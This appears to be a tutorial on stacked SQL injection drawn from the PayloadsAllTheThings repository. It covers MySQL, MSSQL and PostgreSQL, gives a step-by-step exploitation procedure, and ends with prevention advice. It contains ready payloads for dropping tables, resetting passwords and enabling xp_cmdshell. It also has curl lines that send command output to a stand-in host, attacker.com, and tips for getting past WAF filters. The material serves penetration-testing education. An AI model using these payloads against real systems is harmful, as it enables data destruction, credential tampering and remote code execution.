Exploiting Stacked-Based SQL Injection: Multi-Statement Attack Techniques
Stacked-based SQL injection allows attackers to execute multiple SQL statements in a single database request by terminating the original query with a semicolon and appending malicious commands, enabling data manipulation, privilege escalation, and remote code execution when the database driver supports multi-statement execution.
Exploiting stacked-based SQL injection is a critical technique for penetration testers and security researchers assessing web application vulnerabilities. This method, extensively documented in the PayloadsAllTheThings repository by swisskyrepo, leverages database management systems that process multiple statements sequentially when separated by terminators like the semicolon (;). Unlike UNION-based attacks that are limited to data retrieval, stacked queries can execute Data Definition Language (DDL) and Data Control Language (DCL) operations, including creating tables, modifying user privileges, or enabling dangerous stored procedures like xp_cmdshell.
How Stacked-Based SQL Injection Works
The architecture of stacked-based SQL injection relies on the database driver's ability to parse and execute multiple distinct statements within a single query string. Understanding this execution flow is essential for crafting effective payloads.
Statement Concatenation and Termination
When an application constructs SQL queries through string concatenation without proper parameterization, attackers can inject statement terminators to break the query structure:
SELECT * FROM users WHERE username = '$user_input'
By injecting a semicolon and additional SQL commands, the attacker transforms the query into a script containing multiple operations:
admin'; DROP TABLE users; --
Sequential Execution Flow
According to the source code analysis of database driver implementations referenced in PayloadsAllTheThings/SQL Injection/README.md, the execution process follows these steps:
- Query Parsing: The database server receives the entire concatenated string and parses it as a batch of statements.
- Independent Execution: Each statement executes sequentially, with the result sets returned in order or discarded depending on the application logic.
- Silent Execution: If the application only processes the first result set, subsequent malicious statements execute without immediate visible output, making detection difficult.
Driver Configuration Requirements
The feasibility of exploiting stacked-based SQL injection depends on specific driver configurations:
- MySQL/MariaDB: Requires
allowMultiStatementsormulti_queryenabled in the client driver (e.g., PHP'smysqli_multi_query). - Microsoft SQL Server: Native support for stacked queries through T-SQL batch processing; no special configuration required.
- PostgreSQL: Supports multiple statements when separated by semicolons, though some drivers may restrict this behavior.
Database-Specific Exploitation Techniques
The PayloadsAllTheThings repository provides specific payload examples for different database management systems. Below are the practical implementations for the three most common platforms.
MySQL and MariaDB Stacked Queries
MySQL supports stacked queries when the application uses mysql_real_query() or mysqli_multi_query() functions. The general payload structure terminates the original statement and appends a new command:
1; SELECT SLEEP(5); --
For data exfiltration or destructive operations:
admin'; DROP TABLE users; --
Key File Reference: SQL Injection/README.md – Stacked Based Injection
Microsoft SQL Server (MSSQL) Stacked Execution
MSSQL provides extensive support for stacked queries through T-SQL batch processing, allowing attackers to execute system commands via xp_cmdshell or modify database configurations.
Basic stacked query for password reset:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--
Enabling xp_cmdshell for remote code execution:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Direct command execution:
1; EXEC xp_cmdshell('whoami') --
Key File Reference: SQL Injection/MSSQL Injection.md – MSSQL Stacked Query
PostgreSQL Multi-Statement Injection
PostgreSQL supports multiple statements separated by semicolons, enabling attackers to perform schema manipulation or file system operations.
Creating and dropping tables:
SELECT 1; CREATE TABLE NOTSOSECURE (DATA VARCHAR(200)); --
Advanced out-of-band exfiltration:
PostgreSQL's COPY ... TO PROGRAM functionality can be combined with stacked queries for remote command execution:
1; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?d=$(whoami)' --
Key File Reference: SQL Injection/PostgreSQL Injection.md – PostgreSQL Stacked Query
Practical Exploitation Steps
When conducting penetration testing, follow this systematic approach to identify and exploit stacked-based SQL injection vulnerabilities:
-
Identify the Injection Point
- Locate parameters that directly concatenate into SQL queries without sanitization.
- Test with benign payloads:
username=admin'
-
Test for Statement Terminator Support
- Inject a semicolon followed by a benign statement to verify multi-statement execution:
admin'; SELECT 1;--- If the application returns no error or processes the second statement, the target supports stacked queries.
-
Craft the Malicious Payload
- Select the appropriate payload based on the DBMS identified (MySQL, MSSQL, PostgreSQL).
- For MSSQL, enable
xp_cmdshellif necessary:
';EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
Bypass Input Filters
- URL-encode special characters:
%27for single quote,%3Bfor semicolon. - Use comment obfuscation to break pattern matching:
/**/;/**/ - Leverage double encoding if WAFs perform single-pass decoding.
- URL-encode special characters:
-
Extract Results or Achieve Code Execution
- If the application does not return results from stacked statements, use out-of-band techniques:
'; EXEC xp_cmdshell 'curl http://attacker.com/?data=$(whoami)'--- For PostgreSQL, use
COPY ... TO PROGRAMto write files or execute commands.
Summary
- Stacked-based SQL injection enables attackers to execute multiple SQL statements sequentially by injecting statement terminators like semicolons into vulnerable input parameters.
- Database support varies: MSSQL supports stacked queries natively, MySQL requires
allowMultiStatementsconfiguration, and PostgreSQL supports multi-statement execution via semicolons. - High-impact capabilities: Beyond data exfiltration, stacked queries enable privilege escalation, stored procedure activation (e.g.,
xp_cmdshell), and operating system command execution. - Source references: The PayloadsAllTheThings repository documents specific payloads in
SQL Injection/README.md,SQL Injection/MSSQL Injection.md, andSQL Injection/PostgreSQL Injection.md. - Defense requires parameterization: Prepared statements with parameterized queries effectively prevent stacked injection by separating code from data, regardless of driver configuration.
Frequently Asked Questions
What is the difference between stacked-based SQL injection and UNION-based SQL injection?
UNION-based SQL injection requires the attacker to combine the results of the original query with a malicious query using the UNION operator, which restricts the attack to data retrieval and requires matching column types. Stacked-based SQL injection, as documented in the PayloadsAllTheThings repository, allows the execution of entirely separate SQL statements—including INSERT, UPDATE, DELETE, and DDL operations—by terminating the original query with a semicolon and starting a new statement, enabling data modification and command execution beyond simple read operations.
Which databases are vulnerable to stacked-based SQL injection attacks?
According to the source files in swisskyrepo/PayloadsAllTheThings, Microsoft SQL Server (MSSQL) supports stacked queries natively without special configuration. MySQL and MariaDB support stacked queries only when the client driver enables allowMultiStatements or uses functions like mysqli_multi_query(). PostgreSQL supports multiple statements separated by semicolons in standard configurations. SQLite generally rejects multiple statements by default, making stacked injection impractical in most implementations.
How can I prevent stacked-based SQL injection in my applications?
The most effective defense against stacked-based SQL injection is implementing prepared statements with parameterized queries (also known as bind variables), which ensure that user input is treated strictly as data rather than executable code, preventing the parser from interpreting semicolons or statement terminators as command delimiters. Additionally, configure database drivers to disable multi-statement execution where possible (e.g., setting allowMultiStatements=false in MySQL), enforce the principle of least privilege by restricting database accounts from accessing dangerous stored procedures like xp_cmdshell, and deploy Web Application Firewalls (WAFs) with rules that detect sequential SQL keywords and statement terminators in HTTP parameters.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →